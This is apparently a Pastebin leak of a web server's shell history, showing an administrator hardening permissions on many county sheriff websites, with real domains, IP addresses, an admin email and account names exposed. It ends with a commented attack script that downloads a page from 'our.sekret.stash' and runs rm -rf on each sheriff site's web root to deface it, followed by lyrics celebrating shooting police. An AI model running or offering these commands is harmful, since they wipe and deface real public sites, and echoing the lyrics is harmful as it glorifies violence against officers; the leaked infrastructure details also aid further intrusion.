  4048. less ../statistics/logs/access_log
  4049. ls
  4050. mv index.htm_bak index.htm
  4051. cd ../../
  4052. ls
  4053. cd mostwantedwebsites.net/
  4054. ls
  4055. cd httpdocs/
  4056. ls
  4057. mv index.htm index.htm_bak
  4058. mv index.htm_bak index.htm
  4059. service httpd restart
  4060. pwd
  4061. less index.htm
  4062. pwd
  4063. pwd
  4064. mv index.htm index.htm_bak
  4065. ls
  4066. cp case_study.htm index.htm
  4067. less index.htm
  4068. pwd
  4069. mv index.htm_bak index.htm
  4070. cd ..
  4071. cd ..
  4072. cd default/
  4073. ll
  4074. cd htdocs/
  4075. vi .htaccess
  4076. yum install jp2-devel
  4077. yum list | less
  4078. yum list | less
  4079. yum install fontconfig-devel
  4080. wget http://www.ipchicken.com -O /dev/stdout | less
  4081. ssh 97.74.115.143
  4082. ssh 97.74.115.143
  4083. ssh 97.74.115.143
  4084. cd /var/www/vhosts/
  4085. ls
  4086. cd baxtercountysheriff.com/
  4087. less statistics/logs/access_log
  4088. ls
  4089. find . -ls | less
  4090. find . -ls | less
  4091. less httpsdocs/array_o_files.php
  4092. ll httpsdocs/array_o_files.php
  4093. find . -ls | less
  4094. find . -type f -exec grep passthru {} \;
  4095. find . -type f -exec grep passthru {} \; -print
  4096. find . -ls | less
  4097. find . -ls | mail -s 'Files' jwiegand@bjmweb.com
  4098. mailq
  4099. vi /etc/postfix/main.cf
  4100. postfix reload
  4101. postqueue -f
  4102. mailq
  4103. mailq
  4104. mailq
  4105. mailq
  4106. mailq
  4107. mailq
  4108. telnet 208.109.80.210 25
  4109. postqueue -f
  4110. ls
  4111. find . -ls | less
  4112. mailq
  4113. less /usr/bin/GET
  4114. less /sbin/ifup
  4115. cd
  4116. ls
  4117. finder.pl /
  4118. cd /var/www/vhosts/
  4119. ls
  4120. cd boonesheriff.com/
  4121. find . -ls | less
  4122. rm -rf cgi-bin/
  4123. find . -ls | less
  4124. less httpdocs/home/check_population.php
  4125. find . -ls | less
  4126. cd httpsdocs/
  4127. ls
  4128. rm -rf test
  4129. cd ../..
  4130. ls
  4131. cd cityofgassville.org/
  4132. find . -ls | less
  4133. cd httpdocs/
  4134. ll
  4135. chmod 755 ajax controllers model settings views
  4136. ll
  4137. find . -ls
  4138. ls
  4139. cd views
  4140. ll
  4141. chmod 755 *
  4142. find . -mode 777
  4143. find . -perms 777
  4144. find . -perm 777
  4145. find . -perm 777 -ls
  4146. find . -perm 777 -type f
  4147. find . -perm 777 -type f -ls
  4148. find . -perm 777 -type f -exec chmod 644 {} \;
  4149. find . -ls
  4150. find . -perm 777 -type d -exec chmod 755 {} \;
  4151. ll
  4152. cd ..
  4153. find . -perm 777 -ls
  4154. ls
  4155. ll
  4156. find . -perm 777 -type d -exec chmod 755 {} \;
  4157. find . -perm 777 -type f -exec chmod 644 {} \;
  4158. ll
  4159. cd ../..
  4160. ll
  4161. cd boonesheriff.com/
  4162. ll
  4163. find . -ls | less
  4164. find . -ls | less
  4165. find . -perm 777
  4166. find . -perm 777 -ls
  4167. cd httpdocs/uploads/
  4168. ll
  4169. find . -perm 777 -ls
  4170. find . -perm 777 -ls -type f
  4171. find . -perm 777 -ls -type f -exec chmod 644 {} \;
  4172. find . -perm 777 -type f -exec chmod 644 {} \;
  4173. find -ls
  4174. cd ..
  4175. cd ..
  4176. find . -perm 777
  4177. find httpdocs -perm 777
  4178. find httpdocs -perm 777 -ls
  4179. chmod 755 httpdocs/admin/modules httpdocs/admin/modules/basic_page_editor
  4180. httpdocs/admin/modules/most_wanted
  4181. httpdocs/admin/modules/most_wanted/wanted_arrested
  4182. httpdocs/admin/modules/press_releases httpdocs/admin/modules/sex_offenders
  4183. httpdocs/config
  4184. chmod 755 httpdocs/high_res httpdocs/images/inmates httpdocs/images/warrants
  4185. httpdocs/uploads
  4186. find httpdocs -perm 777 -ls
  4187. chmod 644 httpdocs/config/injection_patch.php httpdocs/config/header.php
  4188. httpdocs/cross_inmate.php
  4189. cd ..
  4190. ls
  4191. find . -perm 777 -ls
  4192. ls
  4193. cd cityofgassville.org/
  4194. find . -perm 777 -ls
  4195. ;ll
  4196. ll
  4197. cd httpdocs/
  4198. less core/master.tps
  4199. ll
  4200. less core/master.tps
  4201. chmod 777 helpers
  4202. chmod 777 core
  4203. chmod 755 core
  4204. chmod -R 777 core
  4205. chmod -R 777 helpers
  4206. ll
  4207.  
  4208. chmod -R 777 core
  4209. vi phpinfo.php
  4210. rm phpinfo.php
  4211. find core -ls
  4212. less core/ini.tps
  4213. find . sqlite_open
  4214. find . -exec grep sqlite_open {} \;
  4215. yum list | less
  4216. vi phpinfo.php
  4217. rm phpinfo.php
  4218. cd /tmp
  4219. rpm -ivh sqlite2-2.8.17-5.el5.i386.rpm
  4220. service httpd restart
  4221. yum install php-sqlite
  4222. yum install php5-sqlite
  4223. pec install sqlite
  4224. pecl install sqlite
  4225. pecl install sqlite2
  4226. pecl install sqlite3
  4227. pecl info sqlite
  4228. pear install sqlite
  4229. cd
  4230. pecl download sqlite
  4231. mkdir sl
  4232. cd sl/
  4233. tar -zxvf ../SQLite-1.0.3.tgz
  4234. wget http://www.modphp.org/src/sqlite-1.0.3-byref_patch-1.0.patch
  4235. less sqlite-1.0.3-byref_patch-1.0.patch
  4236. patch -p1 < sqlite-1.0.3-byref_patch-1.0.patch
  4237. tar -czf ../SQLite-1.0.3.tgz .
  4238.  
  4239. pecl install SQLite-1.0.3.tgz
  4240. service httpd restart
  4241. vi /etc/php.d/pdo_sqlite.ini
  4242. ll /var/tmp/pear-build-root/SQLite-1.0.3/modules
  4243. cd /etc/php/d
  4244. cd /etc/php.d
  4245. ls
  4246. cp pdo_sqlite.ini sqlite.ini
  4247. vi sqlite.ini
  4248. service httpd restart
  4249. pwd
  4250. cat sqlite.ini
  4251. vi /etc/php.ini
  4252. cd
  4253. cd /var/www//vhosts/cityofgassville.org/
  4254. ls
  4255. cd httpdocs/
  4256. ls
  4257. ll
  4258. less header.tps
  4259. find . -perm 777 -ls
  4260. find . -perm 777 -type f -exec chmod 644 {} \;
  4261. find . -perm 777 -type d -exec chmod 755 {} \;
  4262. ll
  4263. cd ..
  4264. cd ..
  4265. ll
  4266. cd kempercountysheriff.com/
  4267. ls
  4268. ll
  4269. cd http
  4270. cd httpdocs/
  4271. ll
  4272. find . -ls | less
  4273. rm -rf test/
  4274. ll
  4275. find . -ls | less
  4276. ls admin/
  4277. cp ../../baxtercountysheriff.com/httpdocs/admin/.htaccess .
  4278. vi .htaccess
  4279. find . -ls | less
  4280. ll
  4281. chown 755 uploads high_res/
  4282. chown apache:apache uploads high_res/
  4283. chmod 1755 uploads high_res/
  4284. ll
  4285. find . -perm 777
  4286. less ./uploads/watermark_wanted_photo.php
  4287. ll ./uploads/watermark_wanted_photo.php
  4288. chmod 644 ./uploads/watermark_wanted_photo.php
  4289. chmod 644 ./uploads/arrested_big.png
  4290. rm -f ./uploads/Thumbs.db
  4291. cd ..
  4292. cd ..
  4293. ll
  4294. cd marioncountysheriffar.com/
  4295. find . -perm 777
  4296. cd httpdocs/
  4297. ll
  4298. ls test
  4299. rm -rf test
  4300. chown apache:apache uploads/ high_res/
  4301. chmod 1755 uploads/ high_res/
  4302. cp ../../baxtercountysheriff.com/httpdocs/admin/.htaccess admin/
  4303. vi admin/.htaccess
  4304. ls
  4305. ls ../../boonesheriff.com/httpdocs/admin/
  4306. ll ../../boonesheriff.com/httpdocs/admin/
  4307. cp ../../baxtercountysheriff.com/httpdocs/admin/.htaccess
  4308. ../../boonesheriff.com/httpdocs/admin/
  4309. ll -a ../../boonesheriff.com/httpdocs/admin/
  4310. pwd
  4311. find . -ls | less
  4312. rm Thumbs.db
  4313. ll admin/
  4314. ll -a admin/
  4315. cd ../../
  4316. ll
  4317. finder.pl .
  4318. vi ~/bin/finder.pl
  4319. finder.pl .
  4320. vi ~/bin/finder.pl
  4321. finder.pl .
  4322. vi ~/bin/finder.pl
  4323. finder.pl .
  4324. vi ~/bin/finder.pl +16
  4325. finder.pl .
  4326. vi ~/bin/finder.pl +16
  4327. cd baxtercountysheriff.com/
  4328. find . -ls | less
  4329. cd httpdocs/
  4330. ls
  4331. pwd
  4332. ls test
  4333. pwd
  4334. mv test ..
  4335. ls
  4336. ll
  4337. chown apache:apache high_res/ uploads/
  4338. chmod 755 high_res/ uploads/
  4339. ll
  4340. chmod 1755 high_res/ uploads/
  4341. ll
  4342. ll config
  4343. find . -perm 777
  4344. find . -perm 777 -type f
  4345. find . -perm 777 -type f -ls | less
  4346. ll
  4347. ps -ef | grep http
  4348. find . -perm 777 -type f -ls -exec chmod 644 {} \;
  4349. find . -perm 777 -type f -ls -exec chmod 644 {} \;
  4350. ll
  4351. find . -perm 777 -type d
  4352. find . -perm 777 -type d -ls
  4353. find . -perm 777 -type d -ls| less
  4354. find admin -perm 777 -type d -exec chmod 755 {} \;
  4355. find . -perm 777 -type d -ls| less
  4356. find admin_dymin/ -perm 777 -type d -exec chmod 755 {} \;
  4357. find . -perm 777 -type d -ls| less
  4358. find blog config/ -perm 777 -type d -exec chmod 755 {} \;
  4359. find . -perm 777 -type d -ls| less
  4360. find uploads/ -perm 777 -type d -exec chmod 755 {} \;
  4361. ls
  4362. find . -perm 777 -type d -ls| less
  4363. cd images/
  4364. ll
  4365. ls warrants/
  4366. ll warrants/
  4367. ls
  4368. find . -perm 777 -type d -ls
  4369. yum install mcrypt
  4370. yum install php-mcrypt
  4371. service httpd restart
  4372. ll
  4373. chown apache:apache warrants/ inmates/
  4374. chmod 1755 warrants/ inmates/
  4375. ll
  4376. cd
  4377. mv ~bjmsuper/id_dsa.pub .ssh/authorized_keys2
  4378. vi /etc/ssh/sshd_config
  4379. nohup service sshd restart
  4380. cd
  4381. cd .ssh/
  4382. ll
  4383. crontab -e
  4384. /usr/sbin/ntpdate nist1-chi.ustiming.org
  4385. crontab -l
  4386. vi /etc/rsnapshot.exclude
  4387. crontab -e
  4388. /usr/sbin/ntpdate nist1-chi.ustiming.org 2&>1 >/dev/null
  4389. cd
  4390. cd /var/www/vhosts/
  4391. cd marioncountysheriffar.com/
  4392. ll
  4393. cd httpdocs/
  4394. ll
  4395. cd ../../kempercountysheriff.com/
  4396. ll
  4397. cd httpdocs/
  4398. ll
  4399. ll -a admin/
  4400. cd ..
  4401. cd ..
  4402. find . -name .htaccess
  4403. cp ./marioncountysheriffar.com/httpdocs/admin/.htaccess
  4404. kempercountysheriff.com/httpdocs/admin/
  4405. vi kempercountysheriff.com/httpdocs/admin/.htaccess
  4406. cd /var/www/vhosts/baxtercountysheriff.com/cd admin
  4407. cd /var/www/vhosts/baxtercountysheriff.com/httpdocs/admin
  4408. vi .htaccess
  4409. exit
  4410. passwd bjmsuper
  4411. mailq
  4412. openssl s_client -connect mostwantedwebsites.net:993 -ssl2
  4413. openssl s_client -connect localhost.net:993 -ssl2
  4414. openssl s_client -connect mail.mostwantedwebsites.net:465 -ssl2
  4415. openssl s_client -connect mail.mostwantedwebsites.net:465
  4416. openssl s_client -connect mail.mostwantedwebsites.net:993 -sslv
  4417. openssl s_client -connect mail.mostwantedwebsites.net:993 -ssl2
  4418. openssl s_client -connect mail.mostwantedwebsites.net:995 -ssl2
  4419. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4420. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4421. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4422. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4423. ping mail.mostwantedwebsites.net
  4424. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4425. openssl s_client -connect mail.mostwantedwebsites.net:993 -ssl2
  4426. openssl s_client -connect mail.mostwantedwebsites.net:995 -ssl2
  4427. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4428. openssl s_client -connect mail.mostwantedwebsites.net:443 -ssl2
  4429. vi /etc/httpd/conf.d/ssl.conf
  4430. restart httpd
  4431. /etc/init.d/httpd restart
  4432. vi /etc/courier-imap/imapd-ssl
  4433. vi /etc/courier-imap/pop3d-ssl
  4434. /etc/init.d/courier-imap restart
  4435. openssl s_client -connect mail.mostwantedwebsites.net:465 -ssl2
  4436. openssl s_client -connect mail.mostwantedwebsites.net:465
  4437. openssl s_client -connect mail.mostwantedwebsites.net:25
  4438. add user bcsd_sync
  4439. adduser bcsd_sync
  4440. passwd bcsd_sync
  4441. cd /var/www/vhosts/baxtercountysheriff.com/
  4442. ls
  4443. mkdir home
  4444. ls /home
  4445. ll /home
  4446. rm home
  4447. rm home -rf
  4448. ll
  4449. mv /home/bcsd_sync/ ./home
  4450. ll
  4451. vi /etc/passwd
  4452. chown bcsd_sync:psacln home
  4453. chmod 740 home
  4454. ll
  4455. exit
  4456. cd /var/www/vhosts/adamscosheriff.org/httpdocs/
  4457. ll
  4458. find . -type d -exec chmod 0755 {} \;
  4459. find . -type f -exec chmod 0644 {} \;
  4460. ll
  4461. chown -R apache:apache settings/ uploads/
  4462. ll
  4463. chmod -R 1755 settings/ uploads/
  4464. ll
  4465. cd /var/www/vhosts/sgcso.com/httpdocs/
  4466. ll
  4467. find . -type d -exec chmod 0755 {} \;
  4468. find . -type f -exec chmod 0644 {} \;
  4469. ll
  4470. chown -R apache:apache uploads/ high_res/
  4471. chmod -R 1755 uploads/ high_res/
  4472. ll
  4473. cd admin
  4474. ll
  4475. ll -a
  4476. vi .htaccess
  4477. ll -a
  4478. cd /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/
  4479. ll
  4480. find . -type d -exec chmod 0755 {} \;
  4481. find . -type f -exec chmod 0644 {} \;
  4482. chmod -R 1755 uploads/ high_res/
  4483. chown -R apache:apache uploads/ high_res/
  4484. ll
  4485. cd admin/
  4486. ll
  4487. ll -a
  4488. cd /var/www/vhosts/crosscountysheriff.org/
  4489. cd httpdocs/
  4490. ll
  4491. cd admin/
  4492. ll
  4493. cd config/
  4494. ll
  4495. less connect.php
  4496. vi connect.php
  4497. vi connect.php
  4498. cd /var/www/vhosts/polkcountymosheriff.org/httpdocs/
  4499. ll
  4500. ll
  4501. cd /var/www/vhosts/marioncountysheriffar.com/httpdocs/
  4502. ll
  4503. cd /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/
  4504. ll
  4505.  
  4506.  
  4507. // THIS TIME WE'RE NOT GONNA HESITATE TO PULL THE TRIGGER.
  4508.  
  4509. # wget http://our.sekret.stash/index.html
  4510. # rm -rf /var/www/vhosts/adamscosheriff.org/httpdocs/*; cp index.html
  4511. /var/www/vhosts/adamscosheriff.org/httpdocs/;
  4512. # rm -rf /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/*; cp index.html
  4513. /var/www/vhosts/bakercountysheriffoffice.org/httpdocs/;
  4514. # rm -rf /var/www/vhosts/baxtercountysheriff.com/httpdocs/*; cp index.html
  4515. /var/www/vhosts/baxtercountysheriff.com/httpdocs/;
  4516. # rm -rf /var/www/vhosts/boonesheriff.com/httpdocs/*; cp index.html
  4517. /var/www/vhosts/boonesheriff.com/httpdocs/;
  4518. # rm -rf /var/www/vhosts/cityofgassville.org/httpdocs/*; cp index.html
  4519. /var/www/vhosts/cityofgassville.org/httpdocs/;
  4520. # rm -rf /var/www/vhosts/crosscountysheriff.org/httpdocs/*; cp index.html
  4521. /var/www/vhosts/crosscountysheriff.org/httpdocs/;
  4522. # rm -rf /var/www/vhosts/drewcountysheriff.com/httpdocs/*; cp index.html
  4523. /var/www/vhosts/drewcountysheriff.com/httpdocs/;
  4524. # rm -rf /var/www/vhosts/grantcountysheriff-collector.com/httpdocs/*; cp
  4525. index.html /var/www/vhosts/grantcountysheriff-collector.com/httpdocs/;
  4526. # rm -rf /var/www/vhosts/hodgemansheriff.us/httpdocs/*; cp index.html
  4527. /var/www/vhosts/hodgemansheriff.us/httpdocs/;
  4528. # rm -rf /var/www/vhosts/izardcountyar.org/httpdocs/*; cp index.html
  4529. /var/www/vhosts/izardcountyar.org/httpdocs/;
  4530. # rm -rf /var/www/vhosts/izardcountysheriff.org/httpdocs/*; cp index.html
  4531. /var/www/vhosts/izardcountysheriff.org/httpdocs/;
  4532. # rm -rf /var/www/vhosts/jocomosheriff.org/httpdocs/*; cp index.html
  4533. /var/www/vhosts/jocomosheriff.org/httpdocs/;
  4534. # rm -rf /var/www/vhosts/kempercountysheriff.com/httpdocs/*; cp index.html
  4535. /var/www/vhosts/kempercountysheriff.com/httpdocs/;
  4536. # rm -rf /var/www/vhosts/lawrencecosheriff.com/httpdocs/*; cp index.html
  4537. /var/www/vhosts/lawrencecosheriff.com/httpdocs/;
  4538. # rm -rf /var/www/vhosts/lcsdmo.com/httpdocs/*; cp index.html
  4539. /var/www/vhosts/lcsdmo.com/httpdocs/;
  4540. # rm -rf /var/www/vhosts/marioncountysheriffar.com/httpdocs/*; cp index.html
  4541. /var/www/vhosts/marioncountysheriffar.com/httpdocs/;
  4542. # rm -rf /var/www/vhosts/mcminncountysheriff.com/httpdocs/*; cp index.html
  4543. /var/www/vhosts/mcminncountysheriff.com/httpdocs/;
  4544. # rm -rf /var/www/vhosts/mostwantedgovernmentwebsites.com/httpdocs/*; cp
  4545. index.html /var/www/vhosts/mostwantedgovernmentwebsites.com/httpdocs/;
  4546. # rm -rf /var/www/vhosts/mostwantedwebsites.net/httpdocs/*; cp index.html
  4547. /var/www/vhosts/mostwantedwebsites.net/httpdocs/;
  4548. # rm -rf /var/www/vhosts/newtoncountysheriff.org/httpdocs/*; cp index.html
  4549. /var/www/vhosts/newtoncountysheriff.org/httpdocs/;
  4550. # rm -rf /var/www/vhosts/polkcountymosheriff.org/httpdocs/*; cp index.html
  4551. /var/www/vhosts/polkcountymosheriff.org/httpdocs/;
  4552. # rm -rf /var/www/vhosts/rcpi-ca.org/httpdocs/*; cp index.html
  4553. /var/www/vhosts/rcpi-ca.org/httpdocs/;
  4554. # rm -rf /var/www/vhosts/sgcso.com/httpdocs/*; cp index.html
  4555. /var/www/vhosts/sgcso.com/httpdocs/;
  4556. # rm -rf /var/www/vhosts/stonecountymosheriff.com/httpdocs/*; cp index.html
  4557. /var/www/vhosts/stonecountymosheriff.com/httpdocs/;
  4558. # rm -rf /var/www/vhosts/vbcso.com/httpdocs/*; cp index.html
  4559. /var/www/vhosts/vbcso.com/httpdocs/";
  4560.  
  4561. // I take a left at the light, turn off the headlights and ride real slow
  4562. // Now holla at me when you see the 5-0
  4563. // Alright Dirty, yall boys ready?
  4564. // Bout to turn drive-bys revolutionary
  4565. // *POW POW POW POW POW* YEAH MUTHAFUCKA YEAH!
  4566. // *POW POW POW POW POW* YEAH MUTHAFUCKA YEAH!
  4567. // Look at 'em run, too scared to pull they guns
  4568. // Outta shape from them coffees and them cinnamon buns
  4569. // This shit is fun, how I feel when the tables is turned
  4570. // Hollow tips hit yah flesh through yo vests and it burn
  4571. // That's a lesson you learn, comin straight from the slums
  4572. // And it don't stop till we get full freedom
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!